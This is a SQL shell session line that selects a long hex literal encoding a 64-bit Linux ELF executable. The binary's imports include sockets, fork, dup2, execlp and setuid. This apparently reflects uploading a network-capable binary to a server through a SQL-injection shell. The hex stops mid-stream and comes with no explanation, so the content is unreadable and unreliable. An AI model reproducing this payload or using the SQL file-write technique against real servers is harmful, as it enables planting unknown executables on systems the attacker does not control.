sql-shell> SELECT 0x7f454c4602010100000000000000000002003e00010000007f1f4000000000004000000000000000a0eb0100000000000000000040003800090040001c001b000600000005000000400000000000000040004000000000004000400000000000f801000000000000f801000000000000080000000000000003000000040000003802000000000000380240000000000038024000000000001c000000000000001c0000000000000001000000000000000100000005000000000000000000000000004000000000000000400000000000e4d3010000000000e4d30100000000000000200000000000010000000600000010de01000000000010de61000000000010de6100000000006c0c000000000000400d0000000000000000200000000000020000000600000028de01000000000028de61000000000028de610000000000d001000000000000d0010000000000000800000000000000040000000400000054020000000000005402400000000000540240000000000044000000000000004400000000000000040000000000000050e57464040000003086010000000000308641000000000030864100000000006c0c0000000000006c0c000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e574640400000010de01000000000010de61000000000010de610000000000f001000000000000f00100000000000001000000000000002f6c696236342f6c642d6c696e75782d7838362d36342e736f2e3200040000001000000001000000474e550000000000020000000600000018000000040000001400000003000000474e55006e88d6d61305733855d9e52bea870800910c722b030000004600000001000000060000000285010000011c02460000004700000049000000291d8c1cc0b3f71239f28b1c32c4f712b3a2f712000000000000000000000000000000000000000000000000ef01000012000000000000000000000000000000000000005c0000001200000000000000000000000000000000000000430200001200000000000000000000000000000000000000200100001200000000000000000000000000000000000000d30100001200000000000000000000000000000000000000970000001200000000000000000000000000000000000000e30000001200000000000000000000000000000000000000e20100001200000000000000000000000000000000000000a001000012000000000000000000000000000000000000003601000012000000000000000000000000000000000000000302000012000000000000000000000000000000000000009a01000012000000000000000000000000000000000000005200000012000000000000000000000000000000000000002f01000012000000000000000000000000000000000000007000000012000000000000000000000000000000000000007b0100001200000000000000000000000000000000000000000100001200000000000000000000000000000000000000d70000001200000000000000000000000000000000000000c50100001200000000000000000000000000000000000000460000001200000000000000000000000000000000000000a60100001200000000000000000000000000000000000000ac0000001200000000000000000000000000000000000000cc01000012000000000000000000000000000000000000003001000012000000000000000000000000000000000000003900000012000000000000000000000000000000000000001a0100001200000000000000000000000000000000000000a10100001200000000000000000000000000000000000000200200001200000000000000000000000000000000000000260000001200000000000000000000000000000000000000f90000001200000000000000000000000000000000000000c80000001200000000000000000000000000000000000000320200001200000000000000000000000000000000000000250100001200000000000000000000000000000000000000100200001200000000000000000000000000000000000000ce00000012000000000000000000000000000000000000006d0100001200000000000000000000000000000000000000b301000012000000000000000000000000000000000000005d0200002000000000000000000000000000000000000000820100001200000000000000000000000000000000000000a200000012000000000000000000000000000000000000009d00000012000000000000000000000000000000000000006b00000012000000000000000000000000000000000000008800000012000000000000000000000000000000000000005502000012000000000000000000000000000000000000004101000012000000000000000000000000000000000000008100000012000000000000000000000000000000000000005601000012000000000000000000000000000000000000008f0000001200000000000000000000000000000000000000190000001200000000000000000000000000000000000000f400000012000000000000000000000000000000000000002d00000012000000000000000000000000000000000000002c0000001200000000000000000000000000000000000000ba0000001200000000000000000000000000000000000000e80100001200000000000000000000000000000000000000480200001200000000000000000000000000000000000000c001000012000000000000000000000000000000000000008d01000012000000000000000000000000000000000000005002000012000000000000000000000000000000000000003e00000012000000000000000000000000000000000000009901000012000000000000000000000000000000000000000501000012000000000000000000000000000000000000000b0000001200000000000000000000000000000000000000c10000001200000000000000000000000000000000000000170200001200000000000000000000000000000000000000660000001200000000000000000000000000000000000000dc0000001200000000000000000000000000000000000000270000001200000000000000000000000000000000000000480100001200000000000000000000000000000000000000120000001200000000000000000000000000000000000000130100001100190080ea61000000000008000000000000000902000011001900d0ea61000000000004000000000000006601000011001900d8ea61000000000008000000000000003200000011001900a0ea61000000000004000000000000005f01000011001900c0ea6100000000000800000000000000006c6962632e736f2e360073657475696400736f636b6574005f5f7072696e74665f63686b007372616e6400666f70656e006f7074696e64007069706500636f6e6e656374005f5f6664656c745f63686b00696e65745f6e746f6100696e65745f6e746f7000666f726b0074696d65005f5f737461636b5f63686b5f6661696c006c697374656e0073656c656374007265616c6c6f630061626f7274006b696c6c00696e65745f70746f6e005f5f6173736572745f6661696c00737472746f6b00657865636c700066676574730067657470776e616d0073656e6400737472737472005f5f6572726e6f5f6c6f636174696f6e0062696e64006d656d636d700064757032005f5f667072696e74665f63686b007374646f7574006670757463007265637600696e65745f616464720066636c6f736500736574736f636b6f7074006d616c6c6f63005f5f63747970655f625f6c6f63007265637666726f6d006f70746172670073746465727200676574686f737462796e616d6500676574756964005f5f726563765f63686b00676574686f73746e616d65006677726974650066726561640067657474696d656f66646179005f5f6d656d6370795f63686b0061746f69007374726368720073656e64746f005f5f76667072696e74665f63686b0071736f727400616363657074005f5f63747970655f746f75707065725f6c6f630066636e746c006f707465727200737472636d70007374726572726f72005f5f6c6962635f73746172745f6d61696e006765746f70745f6c6f6e675f6f6e6c790066726565005f5f6378615f617465786974005f5f7873746174005f5f676d6f6e5f73746172745f5f00474c4942435f322e313500474c4942435f322e3400474c4942435f322e332e3400474c4942435f322e322e3500474c4942435f322e3300000000020003000300030004000300030003000300030003000300030003000500030003000300030006000300030003000300030003000300030003000300030003000300030003000300040000000500030003000300030003000300030003000300040003000300030003000300030003000300030003000300040003000300030003000300030002000300030003000300030003000000000000000100050001000000100000000000000095919606000006006c020000100000001469690d00000500770200001000000074196909000004008102000010000000751a6909000003008d020000100000001369690d000002009902000000000000f8df6100000000000600000026000000000000000000000080ea61000000000005000000460000000000000000000000a0ea61000000000005000000490000000000000000000000c0ea610000000000050000004a0000000000000000000000d0ea61000000000005000000470000000000000000000000d8ea6100000000000500000048000000000000000000000018e06100000000000700000001000000000000000000000020e06100000000000700000002000000000000000000000028e06100000000000700000003000000000000000000000030e06100000000000700000004000000000000000000000038e06100000000000700000005000000000000000000000040e06100000000000700000006000000000000000000000048e06100000000000700000007000000000000000000000050e06100000000000700000008000000000000000000000058e06100000000000700000009000000000000000000000060e0610000000000070000000a000000000000000000000068e0610000000000070000000b000000000000000000000070e0610000000000070000000c000000000000000000000078e0610000000000070000000d000000000000000000000080e0610000000000070000000e000000000000000000000088e0610000000000070000000f000000000000000000000090e06100000000000700000010000000000000000000000098e061000000000007000000110000000000000000000000a0e061000000000007000000120000000000000000000000a8e061000000000007000000130000000000000000000000b0e061000000000007000000140000000000000000000000b8e061000000000007000000150000000000000000000000c0e061000000000007000000160000000000000000000000c8e061000000000007000000170000000000000000000000d0e061000000000007000000180000000000000000000000d8e061000000000007000000190000000000000000000000e0e0610000000000070000001a0000000000000000000000e8e0610000000000070000001b0000000000000000000000f0e0610000000000070000001c0000000000000000000000f8e0610000000000070000001d000000000000000000000000e1610000000000070000001e000000000000000000000008e1610000000000070000001f000000000000000000000010e16100000000000700000020000000000000000000000018e16100000000000700000021000000000000000000000020e16100000000000700000022000000000000000000000028e16100000000000700000023000000000000000000000030e16100000000000700000024000000000000000000000038e16100000000000700000025000000000000000000000040e16100000000000700000026000000000000000000000048e16100000000000700000027000000000000000000000050e16100000000000700000028000000000000000000000058e16100000000000700000029000000000000000000000060e1610000000000070000002a000000000000000000000068e1610000000000070000002b000000000000000000000070e1610000000000070000002c000000000000000000000078e1610000000000070000002d000000000000000000000080e1610000000000070000002e000000000000000000000088e1610000000000070000002f000000000000000000000090e16100000000000700000030000000000000000000000098e161000000000007000000310000000000000000000000a0e161000000000007000000320000000000000000000000a8e161000000000007000000330000000000000000000000b0e161000000000007000000340000000000000000000000b8e161000000000007000000350000000000000000000000c0e161000000000007000000360000000000000000000000c8e161000000000007000000370000000000000000000000d0e161000000000007000000380000000000000000000000d8e161000000000007000000390000000000000000000000e0e1610000000000070000003a0000000000000000000000e8e1610000000000070000003b0000000000000000000000f0e1610000000000070000003c0000000000000000000000f8e1610000000000070000003d000000000000000000000000e2610000000000070000003e000000000000000000000008e2610000000000070000003f000000000000000000000010e26100000000000700000040000000000000000000000018e26100000000000700000041000000000000000000000020e26100000000000700000042000000000000000000000028e26100000000000700000043000000000000000000000030e26100000000000700000044000000000000000000000038e2610000000000070000004500000000000000000000004883ec08488b056dcb21004885c07405e86b0200004883c408c3000000000000ff3562cb2100ff2564cb21000f1f4000ff2562cb21006800000000e9e0ffffffff255acb21006801000000e9d0ffffffff2552cb21006802000000e9c0ffffffff254acb21006803000000e9b0ffffffff2542cb21006804000000e9a0ffffffff253acb21006805000000e990ffffffff2532cb21006806000000e980ffffffff252acb21006807000000e970ffffffff2522cb21006808000000e960ffffffff251acb21006809000000e950ffffffff2512cb2100680a000000e940ffffffff250acb2100680b000000e930ffffffff2502cb2100680c000000e920ffffffff25faca2100680d000000e910ffffffff25f2ca2100680e000000e900ffffffff25eaca2100680f000000e9f0feffffff25e2ca21006810000000e9e0feffffff25daca21006811000000e9d0feffffff25d2ca21006812000000e9c0feffffff25caca21006813000000e9b0feffffff25c2ca21006814000000e9a0feffffff25baca21006815000000e990feffffff25b2ca21006816000000e980feffffff25aaca21006817000000e970feffffff25a2ca21006818000000e960feffffff259aca21006819000000e950feffffff2592ca2100681a000000e940feffffff258aca2100681b000000e930feffffff2582ca2100681c000000e920feffffff257aca2100681d000000e910feffffff2572ca2100681e000000e900feffffff256aca2100681f000000e9f0fdffffff2562ca21006820000000e9e0fdffffff255aca21006821000000e9d0fdffffff2552ca21006822000000e9c0fdffffff254aca21006823000000e9b0fdffffff2542ca21006824000000e9a0fdffffff253aca21006825000000e990fdffffff2532ca21006826000000e980fdffffff252aca21006827000000e970fdffffff2522ca21006828000000e960fdffffff251aca21006829000000e950fdffffff2512ca2100682a000000e940fdffffff250aca2100682b000000e930fdffffff2502ca2100682c000000e920fdffffff25fac92100682d000000e910fdffffff25f2c92100682e000000e900fdffffff25eac92100682f000000e9f0fcffffff25e2c921006830000000e9e0fcffffff25dac921006831000000e9d0fcffffff25d2c921006832000000e9c0fcffffff25cac921006833000000e9b0fcffffff25c2c921006834000000e9a0fcffffff25bac921006835000000e990fcffffff25b2c921006836000000e980fcffffff25aac921006837000000e970fcffffff25a2c921006838000000e960fcffffff259ac921006839000000e950fcffffff2592c92100683a000000e940fcffffff258ac92100683b000000e930fcffffff2582c92100683c000000e920fcffffff257ac92100683d000000e910fcffffff2572c92100683e000000e900fcffffff256ac92100683f000000e9f0fbffffff2562c921006840000000e9e0fbffffff255ac921006841000000e9d0fbffffff2552c921006842000000e9c0fbffffff254ac921006843000000e9b0fbffffff2542c921006844000000e9a0fbffff4883ec18b9e0624100ba2e000000be78624100bf8b62410064488b042528000000488944240831c0e8d3fcffff4883ec18488b3da0d1210041b9c369410064488b042528000000488944240831c041b81b010000b9f5694100baca554100be01000000e808ffffffe893fbffff4157b9980000004531ff415641554989f5bed0834100415441bc010000005531ed534881ec88020000897c2404488d7c2418f3a531ff64488b042528000000488984247802000031c0e86cf100004989c631c0e8cafc00004889057cd1210031c0e889ef000031ff4889055cd12100e85ffdffff89c7e888fcffff31c0e8f7080100bf01000000e8b8f50000c705cdd02100000000008b7c24044c8d442414488d4c2418baed5541004c89eee882fcffff83f8ff0f842e03000085c00f851f0300004863442414be1381410048c1e005488b5c04184889dfe876fcffff85c07411befe4941004889dfe865fcffff85c0750abe18814100e9dc020000be298141004889dfe84afcffff85c07516bf01000000be31814100e827fdffff31ffe91c040000be498141004889dfe823fcffff85c07519488b3d18d02100e873fdffff0fb7f8e84e210000e949ffffffbe4d8141004889dfe8f9fbffff85c07528488b3deecf2100e849fdffff89c389c7e89d21000089debf5381410031c0e82bf50000e910ffffffbe798141004889dfe8c0fbffff85c0750c31ffe8a6210000e9f3feffffbe808141004889dfe8a3fbffff85c07510488b3d98cf2100e8f3fcffff89c7eb14be908141004889dfe882fbffff85c0750d83cfffe851250000e9b4feffffbe845741004889dfe864fbffff85c07511488b3d59cf2100e879210000e992feffffbea38141004889dfe842fbffff85c0750c31ffe891210000e975feffffbeb18141004889dfe825fbffff85c0751fba3e000000bedc724100bf10000000e88df800004889c1c70000000000eb4abeb98141004889dfe8f5faffff85c07411bea45c41004889dfe8e4faffff85c0754d488b1dd9ce2100ba56000000bedc724100bf10000000e845f800004889c1c700010000004889580889ef48894c24088d5d01e82ff20000488b4c240889c64c89f789dde8fbef0000e9d6fdffffbebe8141004889dfe886faffff85c0751fba46000000bedc724100bf10000000e8eef700004889c1c70002000000ebabbec68141004889dfe856faffff85c07522ba4e000000bedc724100bf10000000e8bef700004889c1c70003000000e978ffffffbecb8141004889dfe823faffff85c0751c488b3518ce2100488b3d99ce2100e8ff1d010048890585ce2100eb1dbecf8141004889dfe8f6f9ffff85c07517488b3debcd2100e83e1f010041bf01000000e91efdffffbebe4641004889dfe8cef9ffff85c0750e4585e40f8404fdffff41ffcceb14bed38141004889dfe8aff9ffff85c0751041ffc44489e7e891f20000e9defcffffbed58141004889dfe88ef9ffff85c0750ae80a1f0000e9c3fcffffbee2814100498b7d00e8841a0100bef1814100ebf031ed4c89f7e85eef00004885c04889c30f84cc0000008b03ffc583f8017458723283f802747b83f8030f859c000000be61824100bf0100000031c0e81bfaffff488b3daccd2100bec6814100e8fa1d0000eb70be07824100bf0100000031c0e8f7f9ffff488b3d88cd2100beb1814100e8b41c0000eb4c488b5308be24824100bf0100000031c0e8cff9ffff488b7308488b3d5ccd21004889f2e8e31c0000eb22be44824100bf0100000031c0e8a9f9ffff488b3d3acd2100bebe814100e8251d00004889c7e8a51f0000ba7b000000bedc7241004889dfe8d5f70000e920ffffff85ed7519488b3d06cd2100bebe814100e8f11c00004889c7e8711f00004c89f7e818ef00004585ff4863053acc2100744949837cc500000f84c9000000be7b824100bf0100000031c0e82bf9ffffbec6824100bf0100000031c0e81af9ffffbf01000000be0e83410031c0e809f9ffffbf01000000e88ff9ffff3b4424047c5bbe19834100bf0100000031c0e8e8f8ffffbe5b834100bf0100000031c0e8d7f8ffffbeec554100bf0100000031c0e8c6f8ffffbe8b834100bf0100000031c0e8b5f8ffff4531c941b88b804100b935000000ba9880410031f6eb18498b74c5004531c941b88b804100b935000000ba98804100488b3d17cc2100e8da18010048890503cc2100bf4e374100e8a91d0100488b3df2cb2100e8c717010031c0488b9424780200006448331425280000007405e823f6ffff4881c4880200005b5d415c415d415e415fc331ed4989d15e4889e24883e4f0505449c7c0e03c410048c7c1703c410048c7c76d194000e8b8f6fffff40f1f8000000000b887ea610055482d80ea61004883f80e4889e577025dc3b8000000004885c074f45dbf80ea6100ffe00f1f8000000000b880ea610055482d80ea610048c1f8034889e54889c248c1ea3f4801d048d1f875025dc3ba000000004885d274f45d4889c6bf80ea6100ffe20f1f8000000000803db9ca2100007511554889e5e87effffff5dc605a6ca210001f3c30f1f400048833dd8bd210000741eb8000000004885c0741455bf20de61004889e5ffd05de97bffffff0f1f00e973ffffff4154ba1a0000004989f4be343d4100554889fdbf78000000534883ec1064488b042528000000488944240831c0e8a1f300004889ee4c89e2bf030000004889c3e8814e00004889c74889c5e8404b0000483d000400004889ef761ee8304b0000bf483d41004889c631c0e8eef10000bf01000000e9fd000000e8115f00004889ef668903e89f5d00000fb6c04889ef894304e8f85e00008b73046689430883fe027474773985f6744483fe010f85b60000004889efe8d55e00004889ef66894310e8c95e0000488d73206689431231c94883caff4889efe8d05b0000eb3383fe03744281feff000000742ceb7b4889efe89a5e00004889ef66894310e88e5e0000a8016689431274724889efe88055000048894318eb644889efe87255000048894310eb564889efe8625e00000fb7c04889ef894310e8545e0000668943148b431085c0740fffc87531488d7356ba20000000eb09488d7316ba400000004889efe8b55a0000eb13bf673d410031c0e8e9f0000031ffe858f6ffff4889efe8e5480000488b4c24086448330c25280000004889d87405e888f3ffff4883c4105b5d415cc355534883ec1864488b042528000000488944240831c04883fe04770fbf8d3d4100e893f0000083c8ffeb43ba050000004889febf03000000e8e54c0000be020000004889c34889c7e8b64a0000be010000004889dfe8a94a00004889dfe8895d00004889df89c5e85848000089e8488b4c24086448330c25280000007405e8fcf2ffff4883c4185b5dc341554189fdbf7800000041544189f4be343d41005589d5ba7b000000534883ec1864488b042528000000488944240831c0e86ff10000c74004000000004889c3e8f0f5ffffb9ffff0000996644896b08f7f9488b4c24086448330c2528000000664489631066896b126689137405e882f2ffff4883c4184889d85b5d415c415dc355534889fb4883ec1864488b042528000000488944240831c0837f04007414bfa33d4100e885ef0000bf01000000e8f1f4ffff488b7f184889f54885ff740fba90000000be343d4100e89df2000066834b1201ba93000000be343d41004889efe89ef1000048894318488b4424086448330425280000007405e8f6f1ffff4883c4185b5dc34883ec1864488b042528000000488944240831c0837f04007414bfdb3d4100e805ef0000bf01000000e871f4ffff66834f1220488b4424086448330425280000007405e8a7f1ffff4883c418c341574189ffbf7800000041564189f6be343d410041554189d5baa400000041544989cc554c89c5534883ec1864488b042528000000488944240831c0e811f00000c74004010000004889c3e892f4ffff41b8ffff000099b9ab00000041f7f86644897b0866448973104889ee6644896b124c89e7668913ba343d4100e848f10000488b4c24086448330c25280000004889431848896b207405e804f1ffff4883c4184889d85b5d415c415d415e415fc34154bab30000004189fcbf78000000554889f5be343d4100534883ec1064488b042528000000488944240831c0e870ef0000c74004020000004889c3e8f1f3ffffb9ffff0000996644896308f7f9be343d41004889ef668913bab8000000e81ef00000488b4c24086448330c2528000000488943107405e876f0ffff4883c4104889d85b5d415cc34154babf0000004189fcbf78000000554889f5be343d4100534883ec1064488b042528000000488944240831c0e8e8ee0000c74004ff0000004889c3e869f3ffffb9ffff0000996644896308f7f9be343d41004889ef668913bac4000000e896ef0000488b4c24086448330c2528000000488943107405e8eeefffff4883c4104889d85b5d415cc355bacc000000be343d410089fdbf78000000534883ec1864488b042528000000488944240831c0e866ee0000c74004030000004889c3e8e7f2ffffb9ffff00009966896b08f7f9488b742408644833342528000000c74310ffffffff6689137405e87cefffff4883c4184889d85b5dc34883ec1864488b042528000000488944240831c0837f04037414bf193e4100e888ec0000bf01000000e8f4f1ffff488d4716c7471000000000b9100000004889c7488b442408644833042528000000f3a57405e81aefffff4883c418c34883ec1864488b042528000000488944240831c0837f04037414bf193e4100e82bec0000bf01000000e897f1ffff488d4756c7471001000000b9080000004889c7488b442408644833042528000000f3a57405e8bdeeffff4883c418c341544989f455534889fbbf030000004883ec1064488b042528000000488944240831c0e8184300000fb7334889c74889c5e87b4900000fb673044889efe8a14800000fb773084889efe8634900008b730483fe02746e773285f6744083fe010f85c70000000fb773104889efe8404900000fb773124889efe834490000488b5320488b7318e98000000083fe03744381feff000000742de9900000000fb773104889efe8094900000fb773124889efe8fd480000f64312010f8484000000488b7318eb04488b73104889efe8cc4a0000eb700fb773104889efe8d34800000fb773144889efe8c74800008b731085f6750b488d7316ba40000000eb0e83fe017513488d7356ba200000004889efe83d460000eb2e83feffbf963e41007513bf543e410031c0e8c8ea0000eb0cbfc03e410031c0e8baea0000bf01000000e826f0ffff488b4424086448330425280000007405e861edffff4883c4104889ef4c89e65b5d415ce99b4500005589f289f5534883ec28488d74241048c7442410ffffffff64488b042528000000488944241831c0e869feffff488b7424104889c389ea4889c7e8ecf7ffffba1a010000be343d41004889df4889442408e86fed0000488b4c24186448330c2528000000488b4424087405e8deecffff4883c4285b5dc34883ec2864488b042528000000488944241831c08b470485c0753a488b4424186448330425280000000f852f0100000fb74f080fb717bee13e4100440fb74f12440fb7471031c0bf010000004883c428e9a2eeffff83f8017542488b4720440fb74f12be293f4100440fb747100fb74f080fb717bf0100000089042431c0e874eeffff488b4424186448330425280000000f84cc000000e9c200000083f8027534488b4424186448330425280000000f85a90000000fb74f080fb717be803f41004c8b471031c0bf010000004883c428e922eeffff3dff000000752c488b44241864483304252800000075720fb717488b4f10beae3f4100bf0100000031c04883c428e9efedffff83f803752c488b44241864483304252800000075410fb74f080fb717bed03f4100bf0100000031c04883c428e9beedffff488b4424186448330425280000007515bef83f4100bf0100000031c04883c428e999edffffe874ebffff4883c428c3534889fb4883ec1064488b042528000000488944240831c0837f04007518488b7f184885ff740fba84010000be343d4100e8b0eb0000837b04017518488b7b184885ff740fba8a010000be343d4100e892eb0000837b04027518488b7b104885ff740fba90010000be343d4100e874eb0000817b04ff0000007518488b7b104885ff740fba96010000be343d4100e853eb0000488b4424086448330425280000007405e8c7eaffff4883c4104889dfbaa00100005bbe343d4100e927eb000055534883ec1864488b042528000000488944240831c048833df2bf21000075414531c0b9ed55410089fd31d231f631ffe8d9f8ffff89eabef0ea61004889c74889c3e8b1fbffffbaf90000004889c7be343d4100e8ceea00004889dfe8e0feffff488b4c24086448330c2528000000488b059abf21007405e833eaffff4883c4185b5dc3534883ec1064488b042528000000488944240831c048833d67bf2100007538beed55410031ffe897f9ffff31d2bee8ea61004889c74889c3e837fbffffba090100004889c7be343d4100e854ea00004889dfe866feffff488b4c24086448330c2528000000488b0518bf21007405e8b9e9ffff4883c4105bc34883ec1864488b042528000000488944240831c083ff027434771285ffb80d4041007435b816434100ffcfeb1783ff047422b81a4041007220b81540410081ffff0000007413b827404100eb0cb811404100eb05b81e404100488b5424086448331425280000007405e845e9ffff4883c418c34883ec1864488b042528000000488944240831c08b461066894708668b4612be2f40410048c7471800000000c7472000000000c74704030000006689472431c0bf01000000e816ebffff488b542408644833142528000000b8010000007405e8dce8ffff4883c418c34883ec2831f6488d7c240864488b042528000000488944241831c0e817e9ffff488b442410b9e80300004869742408e8030000489948f7f94801f0488b5424186448331425280000007405e887e8ffff4883c428c3534889f04883ec108b761064488b142528000000488954240831d285f6740ebf4540410031c0e891e50000eb1648837f40004889fb7516bf8640410031c0e879e50000bf01000000e8e5eaffff488b7f48488d7016e8e85d000085c0bfbc40410074db31c0bff3404100e857e30000488b7b40e819660000488b434848c74348000000004889434031c0e848e2000085c07509488b7b40e8125f0000488b4c24086448330c2528000000b8010000007405e8cce7ffff4883c4105bc353bb274041004883ec1064488b042528000000488944240831c08b470483f8047708488b1cc5504641008b7e04e8e1fdffff4889da4889c6bf3641410031c0e8c6e2000031c0488b4c24086448330c25280000007405e86be7ffff4883c4105bc353bb274041004883ec1064488b042528000000488944240831c08b470483f8047708488b1cc5504641008b7e04e880fdffffbf624141004889c64889da31c0e85be40000bf01000000e8c7e9ffff4154ba71020000be844141004989fcbf5000000055bdffff0000534883ec5064488b042528000000488944244831c0e893e500004889c3e81beaffff99f7fd8b059eb321006689130fb7d039d075066689430aeb0ce8fde9ffff99f7fd6689530a833d6fb3210001bf0300000066c743080000c7430c0000000048c7431800000000c743200000000019c083e002894304e8093b0000488b3de2bb210048894338e8c25b00004885c0488943407514bf99414100e898e30000bf01000000e804e9ffff4d85e448c7431000000000747a488d7c2408be40000000e8d8e8ffffbf03000000c644244700e8b13a00004c89e64889c54889c7e880430000beb74141004889efe873430000488d7424084889efe866430000bed06a41004889efe85943000031f64889efe81540000031f64889efe82d3e0000bfba414100488943104889c631c0e856e00000488b4c24486448330c25280000004889d87405e8b5e5ffff4883c4505b5d415cc3534889fb4889f74883ec108b761064488b042528000000488944240831c083fe01740cbf45404100e8b9e20000eb29488b43404883c756ba20000000488db0e8000000e854e6ffff85c07416bfd641410031c0e88ee20000bf01000000e8fae7ffffbeec554100bf0100000031c0e859e7ffffbe36424100bf0100000031c0e848e7ffff31c0beec554100bf01000000e837e7ffff488b4c24086448330c2528000000c7430402000000b8010000007405e8f6e4ffff4883c4105bc3534889f04883ec108b761064488b142528000000488954240831d285f6740ebf4540410031c0e8ffe10000eb1e4889fb488b7f40488d7016e8735a000085c07514bf60424100e8dfe10000bf01000000e84be7ffff31c0e8e9de000085c07509488b7b40e8b35b000048833de7b92100007409c7430401000000eb54beec554100bf01000000c743040200000031c0e87ce6ffffbe85424100bf0100000031c0e86be6ffffbeec554100bf0100000031c0e85ae6ffff488b7b40e88a5c0000beec554100bf0100000031c0e840e6ffff488b4c24086448330c2528000000b8010000007405e806e4ffff4883c4105bc34156415541544989f455534889fbbfed4241004883ec1064488b042528000000488944240831c0e85dde0000410fb75424100fb773086639f20f859800000066418b6c2412662b6b0a488b7b38440fb7f5e8ad3a00004939c6488b7b38775f4531ed6685edc74320000000007414833d4fb0210000740b48c743180000000041b501498b442420660143084c89f6e8f13a00006685ed740466016b0a498b5424204885d27440498b742418488b7b30e8c510000048c7431800000000eb28e8403a00000fb7f54889c2bf1a43410031c0e86fde0000eb0cbf5443410031c0e861de00004531ed488b4c24086448330c25280000004489e87405e802e3ffff4883c4105b5d415c415d415ec34883ec1864488b042528000000488944240831c0837f0c007423488b442408644833042528000000752a0fb73731c0bf804341004883c418e9fcdd0000488b442408644833042528000000c7470c010000007405e89ce2ffff488b7f304883c418e9500f0000554883caff534889fb4883ec18488b7f304889e648c70424ffffffff64488b042528000000488944240831c0e8911000004885c04889c57518488b7b38e8503900004885c075314889dfe84bffffffeb27488b14244885d2740c488b7b384889c6e8c03a0000ba6b000000be844141004889efe88ee20000488b4424086448330425280000007405e802e2ffff4883c4185b5dc341554989f54154554889d5534889fb4883ec1864488b042528000000488944240831c048c70424ffffffffe83cffffff31c0e8edf8ffff48631585ae2100482b43184839d07656eb5b8b730483fe010f847b0100000f825f01000083fe020f849101000083fe030f857f02000085c00f84f7010000488b7b40e86e58000085c00f84e601000048837b48000f849d010000bf2344410031c0e898de000031c0e9e200000031c0833d0eae210000740f31c0837b04000f95c00f85e1000000837b2c00748531c0e804f7ffff488b7b384889ea31c94829c24889e6e8a54800000fb73b4989c44889c6e8a4f0ffffbe844141004c89e7ba920000004889c5e870e10000488b3424bfed43410031c0e872db00004885ed7486833d4db6210000742ebe3e454100bf0100000031c0e8eae2ffff0fb773244889efe8e7f3ffffbeec554100bf0100000031c0e8cde2ffff0fb753244c89ee4889efe8e6f1ffff4889ef4989c4e824f5ffff833d4cad2100000f858d01000031c0e8a8f7ffffff4320488943184c89e0488b4c24086448330c25280000000f84cb010000e85ce0ffff4883ed080f8515ffffffbfb043410031c0e880dd0000e93e0100000fb73b31f6e855f0ffff4889c5488b4340e98b0000000fb73b31f6e83ff0ffff4889c5488b43404889ef488db0c8000000e8f6f0ffffe91dffffff0fb7730a0fb73b31d2e803edffff837b28004889c574084889c7e8f8edffff488b73104885f60f84f1feffff4889efe85eedffffe9e4feffffbf6744410031c0e805db0000488b3d22b52100e8065500000fb73b4889434831f6e8c5efffff4889c5488b4348488d70284889efe822f0ffffe9a6feffff0fb77b24e8d6f4ffff488b7b384889ea31c94829c24889e6e8fb4600000fb753080fb7730abfa7444100488b0c244989c431c0e8e0d900004c8b04240fb73b4d85c07512837b0c00740cbe0d454100e849eeffffeb100fb753080fb7730a4c89e1e887edffffbad3000000be844141004c89e74889c5e88bdf0000e926feffffbf1b45410031c0e83ddc0000bf01000000e8a9e1ffff837b04000f8469feffffbf03000000e86d330000498b55004c89e64889c74889c5e86a370000baef0000004c89e7be84414100e838df0000488b7b404889eee8ad5b0000488b7b404889eee85e5a00004c89ee4889efe8eb3600004989c4e910feffff4883c4185b5d415c415dc34154554889f5534889fb4881eca000000064488b042528000000488984249800000031c04889542408e8cefbffff488b7c2408be84414100bad4010000e8f9dc0000833d02ab210000488b4c24084889c74889ee4989c4f3a47429837b04007423e9ce010000488b7b4031d24889eee8b9580000488d7424084889efe8573600004989c40fb75324488b7424084c89e7e8d3e8ffffbaf2010000be844141004c89e74889c5e858de0000833d4ab3210000742ebe71454100bf0100000031c0e8e7dfffff0fb773244889efe8e4f0ffffbeec554100bf0100000031c0e8cadfffff837b2c00742f817d04ff0000007526488b751031c04883c9ff4889f7f2ae488b7b3031db48f7d1488d51ffe8f30a0000e9fc000000837d040348c74424182b2e400048c74424202b2e400048c7442428502c400048c7442430ca2d400048c74424382b2e400048c74424402b2e400048c7442448ca2d400048c74424509031400048c74424589039400048c74424609039400048c74424689039400048c74424709039400048c7442478a030400048c7842480000000e42f400048c78424880000002b2e400048c78424900000000e2d4000763331c0bf7c454100e804da00000fb773244889efe8e7efffffbf01000000beec55410031c0e8cddeffffbf01000000e853dfffff8b730483fe03760cbf9845410031c0e8c9d900008b43048b55044889df4889ee488d0490ff54c41889c34889efe802f1ffff89d8488b8c24980000006448330c25280000007450e857dcffff488b5424084889c6bf03000000e8e8350000bade010000be844141004c89e74889c5e8a7dc0000488b7b404889eee86555000085c00f85f7fdffff31c0bf49454100e854d7000031c0eb9d4881c4a00000005b5d415cc3534889fbbfbe4541004883ec10488b761064488b042528000000488944240831c0e814d9000048c7431800000000c74320000000004889dfe8cef8ffff488b542408644833142528000000b8010000007405e8a9dbffff4883c4105bc3534889fb4883ec1064488b042528000000488944240831c0837f0c007505e88bf8ffff488b7b104885ff740fba4a020000be84414100e8dfdb0000488b7b304885ff7405e882070000488b7b384885ff7405e891300000488b7b404885ff7405e84d590000488b4424086448330425280000007405e829dbffff4883c4104889dfba570200005bbe84414100e989db0000554889fd4889f7534883ec1864488b042528000000488944240831c0e8daf3ffff4889ef4889c3e8c227000031ff4889c6e88a060000488b542408644833142528000000488943307405e8c3daffff4883c4184889d85b5dc341544989d4554889fd4889f7534883ec1064488b042528000000488944240831c0e87cf3ffff4c89e64889ef4889c3e8cb290000bf010000004889c6e826060000488b4c24086448330c2528000000488943307405e85fdaffff4883c4104889d85b5d415cc3554889fd4889f7534883ec1864488b042528000000488944240831c0e81bf3ffff4889ef4889c3e8e5110000bf020000004889c6e8c8050000488b54240864483314252800000048894330c74328010000007405e8fad9ffff4883c4184889d85b5dc3554889fd4889f7534883ec1864488b042528000000488944240831c0e8b8f2ffff4889ef4889c3e8d72c0000bf030000004889c6e865050000488b54240864483314252800000048894330c7432c010000007405e897d9ffff4883c4184889d85b5dc34883ec180fb7ff64488b042528000000488944240831c0893d3ca62100488b4424086448330425280000007405e85bd9ffffbfed45410031c04883c418e98fd400004883ec18c705adae21000100000064488b042528000000488944240831c0488b4424086448330425280000007405e818d9ffff4883c418c34883ec18893dd1a5210064488b042528000000488944240831c0488b4424086448330425280000007405e8e4d8ffff4883c418c34883ec18893d99a5210064488b042528000000488944240831c0488b4424086448330425280000007405e8b0d8ffff4883c418c34883ec1848893d08ae210064488b0